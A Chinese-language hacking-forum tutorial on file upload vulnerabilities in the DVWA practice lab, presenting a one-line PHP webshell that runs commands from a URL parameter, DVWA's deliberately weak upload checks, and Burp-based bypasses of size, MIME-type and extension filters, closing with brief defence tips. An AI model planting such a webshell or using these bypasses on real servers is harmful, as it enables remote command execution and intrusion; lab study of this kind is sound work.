Web渗透_文件上传漏洞介绍-WEB渗透社区-电脑端-X黑手网
X黑手网
X黑手网

Web渗透_文件上传漏洞介绍

文件上传漏洞

<?php
echo shell_exec($_GET['cmd']);
?> 
#通过cmd去执行命令

 

image

  • 将上方的代码通过文件上传的方式上传到服务器上,之后进行访问

 

image

 

image

 

  • dvwa中对文件上传的内容是有过滤的,只允许100k大小的文件上传

 

image

  • 我们可以把截断功能打开

 

image

  • 然后再次上传一个超过大小的文件

 

image

  • 我们通过修改最大文件大小去绕过这个限制,即可看到上传成功

 

image

 

image

上面是低安全等级的,我们调到中等安全等级看下代码

 

File Upload Source
<?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_FILES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_type = $_FILES['uploaded']['type'];
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                    echo '
<pre>';
                    echo 'Your image was not uploaded.';
                    echo '</pre>';
                    
                  } else {
                
                    echo '
<pre>';
                    echo $target_path . ' succesfully uploaded!';
                    echo '</pre>';
                    
                    }
            }
            else{
                echo '
<pre>Your image was not uploaded.</pre>';
            }
        }
?>

从上面代码我们能够看出来,他对文件进行了大小和类型的判断;

  • 我们的思路就是用bp的截断功能去修改请求的参数,将1.php文件类型改为image/jpeg即可,这里不做详细演示了哈

 

image

  • 再来看下高安全级别的dvwa代码

File Upload Source
<?php
if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_FILES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                    
                    echo '
<pre>';
                    echo 'Your image was not uploaded.';
                    echo '</pre>';
                
                  } else {
                
                    echo '
<pre>';
                    echo $target_path . ' succesfully uploaded!';
                    echo '</pre>';
                    
                    }
            }
            
            else{
                
                echo '
<pre>';
                echo 'Your image was not uploaded.';
                echo '</pre>';

            }
        }

?>
  • 从代码上可以看出来,相较于中级来说,这个是通过扩展名来判断文件的类型,我们依然可以通过截断去修改

 

image

 

image

 

image

  • 实际上,现在也有很多对于文件数据的判断,我们可以把一句话webshell替换掉内容方面也可以实现,大家自行尝试

如何进行文件上传漏洞防护?

  • 首先肯定是要全面对上传文件进行过滤

  • 其次对于上传文件的目录,要去除所有用户可执行权限

请登录后发表评论

    没有回复内容